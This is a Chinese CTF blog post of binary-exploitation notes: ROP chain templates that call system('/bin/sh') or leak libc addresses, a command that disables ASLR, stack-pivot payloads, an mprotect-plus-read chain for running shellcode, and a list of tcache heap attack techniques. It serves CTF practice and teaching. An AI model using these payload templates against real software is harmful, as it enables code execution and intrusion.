<!DOCTYPE html>
<html lang="zh-cn" color-mode="light">

  <head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <meta name="keywords" content="" />
  <meta name="author" content="郁涛丶" />
  <meta name="description" content="" />
  
  
  <title>
    
      PWN刷题小结 
      
      
      |
    
     郁涛丶&#39;s Blog
  </title>

  
    <link rel="apple-touch-icon" href="/images/favicon.png">
    <link rel="icon" href="/images/favicon.png">
  

  <!-- Raleway-Font -->
  <link href="https://fonts.googleapis.com/css?family=Raleway&display=swap" rel="stylesheet">

  <!-- hexo site css -->
  
<link rel="stylesheet" href="/css/color-scheme.css">
<link rel="stylesheet" href="/css/base.css">
<link rel="stylesheet" href="//at.alicdn.com/t/font_1886449_67xjft27j1l.css">
<link rel="stylesheet" href="/css/github-markdown.css">
<link rel="stylesheet" href="/css/highlight.css">
<link rel="stylesheet" href="/css/comments.css">

  <!-- 代码块风格 -->
  
    
<link rel="stylesheet" href="/css/figcaption/mac-block.css">

  

  <!-- jquery3.3.1 -->
  
    <script defer type="text/javascript" src="/plugins/jquery.min.js"></script>
  

  <!-- fancybox -->
  
    <link href="/plugins/jquery.fancybox.min.css" rel="stylesheet">
    <script defer type="text/javascript" src="/plugins/jquery.fancybox.min.js"></script>
  
  
<script src="/js/fancybox.js"></script>


  

  <script>
    var html = document.documentElement
    const colorMode = localStorage.getItem('color-mode')
    if (colorMode) {
      document.documentElement.setAttribute('color-mode', colorMode)
    }
  </script>
<!-- hexo injector head_end start -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.12.0/dist/katex.min.css">

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/hexo-math@4.0.0/dist/style.css">
<!-- hexo injector head_end end --><meta name="generator" content="Hexo 5.4.0"><link rel="alternate" href="/atom.xml" title="郁涛丶's Blog" type="application/atom+xml">
</head>


  <body>
    <div id="app">
      <div class="header">
  <div class="avatar">
    <a href="/">
      <!-- 头像取消懒加载，添加no-lazy -->
      
        <img src="/images/avatar.png" alt="">
      
    </a>
    <div class="nickname"><a href="/">Ghostasky</a></div>
  </div>
  <div class="navbar">
    <ul>
      
        <li class="nav-item" data-path="/">
          <a href="/">Home</a>
        </li>
      
        <li class="nav-item" data-path="/archives/">
          <a href="/archives/">Archives</a>
        </li>
      
        <li class="nav-item" data-path="/categories/">
          <a href="/categories/">Categories</a>
        </li>
      
        <li class="nav-item" data-path="/tags/">
          <a href="/tags/">Tags</a>
        </li>
      
        <li class="nav-item" data-path="/about/">
          <a href="/about/">About</a>
        </li>
      
    </ul>
  </div>
</div>


<script src="/js/activeNav.js"></script>



      <div class="flex-container">
        <!-- 文章详情页，展示文章具体内容，url形式：https://yoursite/文章标题/ -->
<!-- 同时为「标签tag」，「朋友friend」，「分类categories」，「关于about」页面的承载页面，具体展示取决于page.type -->


    <!-- LaTex Display -->

  
    <script async type="text/javascript" src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js"></script>
  
  <script>
    MathJax = {
      tex: {
        inlineMath: [['$', '$'], ['\\(', '\\)']]
      }
    }
  </script>


        
            
                <!-- clipboard -->

  
    <script async type="text/javascript" src="/plugins/clipboard.min.js"></script>
  
  
<script src="/js/codeCopy.js"></script>



                    
                        
                                
                                        
                                                
                                                        
                                                            <!-- 文章内容页 url形式：https://yoursite/文章标题/ -->
                                                            <div class="container post-details" id="post-details">
                                                                <div class="post-content">
                                                                    <div class="post-title">
                                                                        PWN刷题小结
                                                                    </div>
                                                                    <div class="post-attach">
                                                                        <span class="post-pubtime">
        <i class="iconfont icon-updatetime" title="Update time"></i>
        2021-08-08
      </span>

                                                                        <span class="post-pubtime"> 本文共937字 </span>

                                                                        <span class="post-pubtime">
        大约需要6min
      </span>

                                                                        
                                                                                    <span class="post-categories">
        <i class="iconfont icon-bookmark" title="Categories"></i>
        
        <span class="span--category">
          <a href="/categories/Technology/" title="Technology">
            <b>#</b> Technology
          </a>
        </span>
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            <span class="post-tags">
        <i class="iconfont icon-tags" title="Tags"></i>
        
        <span class="span--tag">
          <a href="/tags/PWN/" title="PWN">
            <b>#</b> PWN
          </a>
        </span>
                                                                            
                                                                                </span>
                                                                                
                                                                    </div>
                                                                    <div class="markdown-body">
                                                                        <p>[toc]</p>
<h1 id="1-杂"><a href="#1-杂" class="headerlink" title="1.杂"></a>1.杂</h1><p>Ubuntu 18下偶尔会发生栈无法对齐的情况，多retn几次就好了。</p>
<p><code>strlen()</code>函数来判断输入的长度，遇到<code>&#39;\x00&#39;</code>时会终止，而<code>gets()</code>函数遇到<code>&#39;\x00&#39;</code>并不会截断</p>
<h2 id="sys-write-puts-printf"><a href="#sys-write-puts-printf" class="headerlink" title="sys,write,puts,printf"></a>sys,write,puts,printf</h2><p>system(“&#x2F;binsh”)</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">p32(e.plt[<span class="string">&#x27;system&#x27;</span>]) + p32(<span class="number">0xdeadbeef</span>) + p32(sh_addr)</span><br><span class="line">p64(pop_rdi_ret) +  p64(sh_addr) + p64(e.sym[<span class="string">&#x27;system&#x27;</span>])</span><br><span class="line">p64(pop_rdi_ret) + p64(bin_sh) + p64(sys_plt) + p64(<span class="number">0xdeadbeef</span>)</span><br></pre></td></tr></table></figure>

<p>write:输出，read（为0，输入）</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">p32(write_plt) + p32(<span class="number">0x8048474</span>) + p32(<span class="number">1</span>) + p32(read_got) + p32(<span class="number">4</span>)</span><br><span class="line">p32(write_plt) + p32(main_addr) + p32(<span class="number">1</span>) + p32(read_got)</span><br><span class="line">p32(write_plt) + p32(main_addr) + p32(<span class="number">1</span>) + p32(write_got)</span><br><span class="line">p32(write_plt) + p32(main_addr) + p32(<span class="number">1</span>) + p32(read_got) + p32(<span class="number">4</span>)</span><br></pre></td></tr></table></figure>

<p>puts  </p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(e.sym[<span class="string">&#x27;vuln&#x27;</span>])</span><br><span class="line">p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)</span><br></pre></td></tr></table></figure>

<p>printf:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">p32(printf_plt) + p32(main_addr) + p32(fmtstr_addr) + p32(printf_got)</span><br><span class="line">p32(printf_plt) + p32(vuln_addr) + p32(fmt_addr) + p32(printf_got)</span><br></pre></td></tr></table></figure>

<h2 id="传参"><a href="#传参" class="headerlink" title="传参"></a>传参</h2><p>32传参：</p>
<ul>
<li>传参方式：首先将系统调用号 传入 eax，然后将参数 从左到右 依次存入 ebx，ecx，edx寄存器中，返回值存在eax寄存器</li>
<li>调用号：<code>sys_read</code> 的调用号 为 3，<code>sys_write</code>的调用号 为 4</li>
<li>调用方式: 使用 <code>int 80h</code>中断进行系统调用</li>
</ul>
<p>64位传参：</p>
<ul>
<li>传参方式：首先将系统调用号 传入 rax，然后将参数 从左到右 依次存入 <code>rdi, rsi, rdx, rcx, r8, r9</code>寄存器中，返回值存在rax寄存器</li>
<li>调用号：<code>sys_read</code> 的调用号 为 0 ，<code>sys_write</code> 的调用号 为 1，</li>
<li>stub_execve 的调用号 为 59 stub_rt_sigreturn 的调用号 为 15</li>
<li>调用方式: 使用 syscall 进行系统调用</li>
</ul>
<h2 id="关闭aslr"><a href="#关闭aslr" class="headerlink" title="关闭aslr"></a>关闭aslr</h2><p><strong>echo 0 &gt; &#x2F;proc&#x2F;sys&#x2F;kernel&#x2F;randomize_va_space</strong></p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~$ cyclic <span class="number">50</span></span><br><span class="line">aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama</span><br><span class="line">gwt@ubuntu:~$ cyclic -l <span class="number">0x61616166</span></span><br><span class="line"><span class="number">20</span></span><br></pre></td></tr></table></figure>

<h2 id="关于recv地址"><a href="#关于recv地址" class="headerlink" title="关于recv地址"></a>关于recv地址</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">如果直接返回地址：%p这种：</span><br><span class="line">stack_addr = int(io.recvuntil(&#x27;\n&#x27;,drop=True),16)</span><br><span class="line"></span><br><span class="line">如果是这种：</span><br><span class="line">[DEBUG] Received 0x2c bytes:</span><br><span class="line">    00000000  42 79 65 62  79 65 7e 0a  a0 8a 14 5c  7e 7f 0a 57  │Byeb│ye~·│···\│~··W│</span><br><span class="line">    00000010  65 6c 63 6f  6d 65 20 74  6f 20 41 43  54 46 27 73  │elco│me t│o AC│TF&#x27;s│</span><br><span class="line">    00000020  20 62 61 62  79 73 74 61  63 6b 21 0a               │ bab│ysta│ck!·│</span><br><span class="line">那么</span><br><span class="line">puts_addr = io.recvuntil(&#x27;\x7f&#x27;)[-6:]</span><br><span class="line">puts_addr = puts_addr.ljust(8,&#x27;\x00&#x27;)</span><br><span class="line">print hex(u64(puts_addr))</span><br></pre></td></tr></table></figure>



<h1 id="1-Stack"><a href="#1-Stack" class="headerlink" title="1.Stack"></a>1.Stack</h1><h2 id="1-栈迁移"><a href="#1-栈迁移" class="headerlink" title="1.栈迁移"></a>1.栈迁移</h2><p>payload：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">payload = p32(sys_addr) + <span class="string">&#x27;aaaa&#x27;</span> + p32(buf_add+<span class="number">12</span>) + <span class="string">b&quot;/bin/sh\x00&quot;</span></span><br><span class="line">payload += (<span class="number">0x28</span> - <span class="built_in">len</span>(payload))* <span class="string">b&#x27;a&#x27;</span> + p32(buf_add-<span class="number">4</span>) + p32(leave)</span><br><span class="line"><span class="keyword">or</span></span><br><span class="line">payload = <span class="string">&#x27;aaaa&#x27;</span>+ p32(sys_addr) + <span class="string">&#x27;aaaa&#x27;</span> + p32(buf_add+<span class="number">16</span>) + <span class="string">b&quot;/bin/sh\x00&quot;</span></span><br><span class="line">payload += (<span class="number">0x28</span> - <span class="built_in">len</span>(payload))* <span class="string">b&#x27;a&#x27;</span> + p32(buf_add) + p32(leave)</span><br></pre></td></tr></table></figure>

<p>​	<img src="/2021/08/08/pwn%E5%B0%8F%E6%80%BB%E7%BB%93/906508_BQAUCW64WPUTJ8N.png" alt="img"></p>
<h2 id="2-mprotect"><a href="#2-mprotect" class="headerlink" title="2.mprotect"></a>2.mprotect</h2><p>mprotect函数，可以修改内存段的权限</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">int mprotect(void *addr, size_t len, int prot);</span><br><span class="line">addr 内存启始地址</span><br><span class="line">len  修改内存的长度</span><br><span class="line">prot 内存的权限</span><br></pre></td></tr></table></figure>



<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">栈溢出到mprotect函数（call==push+jmp）</span><br><span class="line">所以ret后要留一个返回地址，因为ret就相当于jmp到mprotect。</span><br><span class="line">payload大致为：</span><br><span class="line"></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x38</span>+p32(mprotect_add)+p32(ret_add)</span><br><span class="line">payload+=p32(argu1) + p32(argu2) +p32 (argu3)</span><br><span class="line">第一个参数是被修改内存的地址：<span class="number">0x80ea000</span></span><br><span class="line">第二个参数是被修改内存的大小：必须是页的整数倍，<span class="number">0x1000</span></span><br><span class="line">第三参数值权限：<span class="number">0x7</span></span><br><span class="line">然后找个pop来平衡堆栈：</span><br><span class="line">ROPgadget --binary get_started_3dsctf_2016 --only <span class="string">&#x27;pop|ret&#x27;</span></span><br><span class="line">因为是<span class="number">3</span>个参数，就找<span class="number">3</span>个pop</span><br><span class="line">现在payload：</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span> + <span class="number">0x38</span> + p32(mprotect_addr)</span><br><span class="line">payload += p32(pop3_addr) + p32(mem_addr) + p32(mem_size) + p32 (mem_proc) + p32(ret_addr2)</span><br><span class="line"></span><br><span class="line">ret_addr2是read函数的地址，将shellcode写入内存。</span><br><span class="line">read函数原型：</span><br><span class="line">ssize_t read(<span class="built_in">int</span> fd, void *buf, size_t count);</span><br><span class="line">fd 设为<span class="number">0</span>时就可以从输入端读取内容</span><br><span class="line">buf 设为我们想要执行的内存地址    </span><br><span class="line">size 适当大小，足够写入shellcode就OK</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">mprotect_addr = elf.symbols[<span class="string">&#x27;mprotect&#x27;</span>]</span><br><span class="line">read_addr = elf.symbols[<span class="string">&#x27;read&#x27;</span>]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">payload  = <span class="string">&#x27;A&#x27;</span> * <span class="number">0x38</span></span><br><span class="line">payload += p32(mprotect_addr)</span><br><span class="line">payload += p32(pop3_ret) </span><br><span class="line">payload += p32(mem_addr) </span><br><span class="line">payload += p32(mem_size)  </span><br><span class="line">payload += p32(mem_proc)   </span><br><span class="line">payload += p32(read_addr)</span><br><span class="line">payload += p32(pop3_ret)  </span><br><span class="line">payload += p32(<span class="number">0</span>)     </span><br><span class="line">payload += p32(mem_addr)   </span><br><span class="line">payload += p32(<span class="number">0x1000</span>) </span><br><span class="line">payload += p32(mem_addr) </span><br></pre></td></tr></table></figure>





<h1 id="3-Heap"><a href="#3-Heap" class="headerlink" title="3.Heap"></a>3.Heap</h1><h2 id="1-Tchache"><a href="#1-Tchache" class="headerlink" title="1.Tchache"></a>1.Tchache</h2><p>每条链最多7个，满了后放入fastbin与unsortedbin。</p>
<p>malloc时优先去tcache中找。</p>
<p>tcache最大为0x400，大于就会放入unsortedbin。</p>
<p><strong>一些利用姿势</strong></p>
<h3 id="tcache-dup"><a href="#tcache-dup" class="headerlink" title="tcache dup"></a>tcache dup</h3><p>double free</p>
<h3 id="house-of-spirit"><a href="#house-of-spirit" class="headerlink" title="house_of_spirit"></a>house_of_spirit</h3><p>free掉伪造的chunk，这里不会对size前后的chunk进行检查</p>
<h3 id="overlapping"><a href="#overlapping" class="headerlink" title="overlapping"></a>overlapping</h3><p>修改需要被free的size位，（包含其他chunk</p>
<h3 id="perthread-corruption"><a href="#perthread-corruption" class="headerlink" title="perthread_corruption"></a>perthread_corruption</h3><p>控制tcache的管理结构。</p>

                                                                    </div>
                                                                    
                                                                        <div class="prev-or-next">
                                                                            <div class="post-foot-next">
                                                                                
                                                                                    <a href="/2021/07/18/BUU-PWN-0x30-0x3f/" target="_self">
                                                                                        <i class="iconfont icon-chevronleft"></i>
                                                                                        <span>Prev</span>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                            <div class="post-attach">
                                                                                <!-- <span class="post-pubtime">
              <i class="iconfont icon-updatetime" title="Update time"></i>
              2021-08-08
            </span> -->

                                                                                
                                                                                            <span class="post-categories">
          <!-- <i class="iconfont icon-bookmark" title="Categories"></i> -->
          
          <!-- <span class="span--category">
            <a href="/categories/Technology/" title="Technology">
              <b>#</b> Technology
            </a>
          </span> -->
                                                                                            
                                                                                                </span>
                                                                                                
                                                                                    <span class="post-tags">
          <!-- <i class="iconfont icon-tags" title="Tags"></i> -->
          
          <!-- <span class="span--tag">
            <a href="/tags/PWN/" title="PWN">
              <b>#</b> PWN
            </a>
          </span> -->
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            </div>
                                                                            <div class="post-foot-prev">
                                                                                
                                                                                    <a href="/2021/09/01/tcache_stashing_unlink_atack%E8%B0%83%E8%AF%95/" target="_self">
                                                                                        <span>Next</span>
                                                                                        <i class="iconfont icon-chevronright"></i>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                        </div>
                                                                        
                                                                </div>
                                                                
  <div id="btn-catalog" class="btn-catalog">
    <i class="iconfont icon-catalog"></i>
  </div>
  <div class="post-catalog hidden" id="catalog">
    <div class="title">Contents</div>
    <div class="catalog-content">
      
        <ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#1-%E6%9D%82"><span class="toc-text">1.杂</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#sys-write-puts-printf"><span class="toc-text">sys,write,puts,printf</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BC%A0%E5%8F%82"><span class="toc-text">传参</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%85%B3%E9%97%ADaslr"><span class="toc-text">关闭aslr</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%85%B3%E4%BA%8Erecv%E5%9C%B0%E5%9D%80"><span class="toc-text">关于recv地址</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#1-Stack"><span class="toc-text">1.Stack</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#1-%E6%A0%88%E8%BF%81%E7%A7%BB"><span class="toc-text">1.栈迁移</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#2-mprotect"><span class="toc-text">2.mprotect</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#3-Heap"><span class="toc-text">3.Heap</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#1-Tchache"><span class="toc-text">1.Tchache</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#tcache-dup"><span class="toc-text">tcache dup</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#house-of-spirit"><span class="toc-text">house_of_spirit</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#overlapping"><span class="toc-text">overlapping</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#perthread-corruption"><span class="toc-text">perthread_corruption</span></a></li></ol></li></ol></li></ol>
      
    </div>
  </div>

  
<script src="/js/catalog.js"></script>




                                                                    
                                                                        <div class="comments-container">
                                                                            







                                                                        </div>
                                                                        
                                                            </div>
                                                            
        
<div class="footer">
  <div class="social">
    <ul>
      
        <li>
          <a title="github" target="_blank" rel="noopener" href="https://github.com/Ghostasky">
            <i class="iconfont icon-github"></i>
          </a>
        </li>
      
        <li>
          <a title="twitter" target="_blank" rel="noopener" href="https://twitter.com/ghostasky">
            <i class="iconfont icon-twitter"></i>
          </a>
        </li>
      
    </ul>
  </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/Ghostasky">怕什么真理无穷，进一寸有进一寸的欢喜。</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Copyright © 2022 Oranges</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Theme by Oranges | Powered by Hexo</a>
        
    </div>
  
</div>

      </div>

      <div class="tools-bar">
        <div class="back-to-top tools-bar-item hidden">
  <a href="javascript: void(0)">
    <i class="iconfont icon-chevronup"></i>
  </a>
</div>


<script src="/js/backtotop.js"></script>



        
  <div class="search-icon tools-bar-item" id="search-icon">
    <a href="javascript: void(0)">
      <i class="iconfont icon-search"></i>
    </a>
  </div>

  <div class="search-overlay hidden">
    <div class="search-content" tabindex="0">
      <div class="search-title">
        <span class="search-icon-input">
          <a href="javascript: void(0)">
            <i class="iconfont icon-search"></i>
          </a>
        </span>
        
          <input type="text" class="search-input" id="search-input" placeholder="Search...">
        
        <span class="search-close-icon" id="search-close-icon">
          <a href="javascript: void(0)">
            <i class="iconfont icon-close"></i>
          </a>
        </span>
      </div>
      <div class="search-result" id="search-result"></div>
    </div>
  </div>

  <script type="text/javascript">
    var inputArea = document.querySelector("#search-input")
    var searchOverlayArea = document.querySelector(".search-overlay")

    inputArea.onclick = function() {
      getSearchFile()
      this.onclick = null
    }

    inputArea.onkeydown = function() {
      if(event.keyCode == 13)
        return false
    }

    function openOrHideSearchContent() {
      let isHidden = searchOverlayArea.classList.contains('hidden')
      if (isHidden) {
        searchOverlayArea.classList.remove('hidden')
        document.body.classList.add('hidden')
        // inputArea.focus()
      } else {
        searchOverlayArea.classList.add('hidden')
        document.body.classList.remove('hidden')
      }
    }

    function blurSearchContent(e) {
      if (e.target === searchOverlayArea) {
        openOrHideSearchContent()
      }
    }

    document.querySelector("#search-icon").addEventListener("click", openOrHideSearchContent, false)
    document.querySelector("#search-close-icon").addEventListener("click", openOrHideSearchContent, false)
    searchOverlayArea.addEventListener("click", blurSearchContent, false)

    var searchFunc = function (path, search_id, content_id) {
      'use strict';
      var $input = document.getElementById(search_id);
      var $resultContent = document.getElementById(content_id);
      $resultContent.innerHTML = "<ul><span class='local-search-empty'>First search, index file loading, please wait...<span></ul>";
      $.ajax({
        // 0x01. load xml file
        url: path,
        dataType: "xml",
        success: function (xmlResponse) {
          // 0x02. parse xml file
          var datas = $("entry", xmlResponse).map(function () {
            return {
              title: $("title", this).text(),
              content: $("content", this).text(),
              url: $("url", this).text()
            };
          }).get();
          $resultContent.innerHTML = "";

          $input.addEventListener('input', function () {
            // 0x03. parse query to keywords list
            var str = '<ul class=\"search-result-list\">';
            var keywords = this.value.trim().toLowerCase().split(/[\s\-]+/);
            $resultContent.innerHTML = "";
            if (this.value.trim().length <= 0) {
              return;
            }
            // 0x04. perform local searching
            datas.forEach(function (data) {
              var isMatch = true;
              var content_index = [];
              if (!data.title || data.title.trim() === '') {
                data.title = "Untitled";
              }
              var orig_data_title = data.title.trim();
              var data_title = orig_data_title.toLowerCase();
              var orig_data_content = data.content.trim().replace(/<[^>]+>/g, "");
              var data_content = orig_data_content.toLowerCase();
              var data_url = data.url;
              var index_title = -1;
              var index_content = -1;
              var first_occur = -1;
              // only match artiles with not empty contents
              if (data_content !== '') {
                keywords.forEach(function (keyword, i) {
                  index_title = data_title.indexOf(keyword);
                  index_content = data_content.indexOf(keyword);

                  if (index_title < 0 && index_content < 0) {
                    isMatch = false;
                  } else {
                    if (index_content < 0) {
                      index_content = 0;
                    }
                    if (i == 0) {
                      first_occur = index_content;
                    }
                    // content_index.push({index_content:index_content, keyword_len:keyword_len});
                  }
                });
              } else {
                isMatch = false;
              }
              // 0x05. show search results
              if (isMatch) {
                str += "<li><a href='" + data_url + "' class='search-result-title'>" + orig_data_title + "</a>";
                var content = orig_data_content;
                if (first_occur >= 0) {
                  // cut out 100 characters
                  var start = first_occur - 20;
                  var end = first_occur + 80;

                  if (start < 0) {
                    start = 0;
                  }

                  if (start == 0) {
                    end = 100;
                  }

                  if (end > content.length) {
                    end = content.length;
                  }

                  var match_content = content.substr(start, end);

                  // highlight all keywords
                  keywords.forEach(function (keyword) {
                    var regS = new RegExp(keyword, "gi");
                    match_content = match_content.replace(regS, "<span class=\"search-keyword\">" + keyword + "</span>");
                  });

                  str += "<p class=\"search-result-abstract\">" + match_content + "...</p>"
                }
                str += "</li>";
              }
            });
            str += "</ul>";
            if (str.indexOf('<li>') === -1) {
              return $resultContent.innerHTML = "<ul><span class='local-search-empty'>No result<span></ul>";
            }
            $resultContent.innerHTML = str;
          });
        },
        error: function(xhr, status, error) {
          $resultContent.innerHTML = ""
          if (xhr.status === 404) {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The search.xml file was not found, please refer to：<a href='https://github.com/zchengsite/hexo-theme-oranges#configuration' target='_black'>configuration</a><span></ul>";
          } else {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The request failed, Try to refresh the page or try again later.<span></ul>";
          }
        }
      });
      $(document).on('click', '#search-close-icon', function() {
        $('#search-input').val('');
        $('#search-result').html('');
      });
    }

    var getSearchFile = function() {
        var path = "/search.xml";
        searchFunc(path, 'search-input', 'search-result');
    }
  </script>




        
  <div class="tools-bar-item theme-icon" id="switch-color-scheme">
    <a href="javascript: void(0)">
      <i id="theme-icon" class="iconfont icon-moon"></i>
    </a>
  </div>

  
<script src="/js/colorscheme.js"></script>





        
  
    <div class="share-icon tools-bar-item">
      <a href="javascript: void(0)" id="share-icon">
        <i class="iconfont iconshare"></i>
      </a>
      <div class="share-content hidden">
        
          <a class="share-item" href="https://twitter.com/intent/tweet?text=' + PWN%E5%88%B7%E9%A2%98%E5%B0%8F%E7%BB%93 + '&url=' + https%3A%2F%2Fghostasky.github.io%2F2021%2F08%2F08%2Fpwn%25E5%25B0%258F%25E6%2580%25BB%25E7%25BB%2593%2F + '" target="_blank" title="Twitter">
            <i class="iconfont icon-twitter"></i>
          </a>
        
        
          <a class="share-item" href="https://www.facebook.com/sharer.php?u=https://ghostasky.github.io/2021/08/08/pwn%E5%B0%8F%E6%80%BB%E7%BB%93/" target="_blank" title="Facebook">
            <i class="iconfont icon-facebooksquare"></i>
          </a>
        
      </div>
    </div>
  
  
<script src="/js/shares.js"></script>



      </div>
    </div>
  </body>
</html>
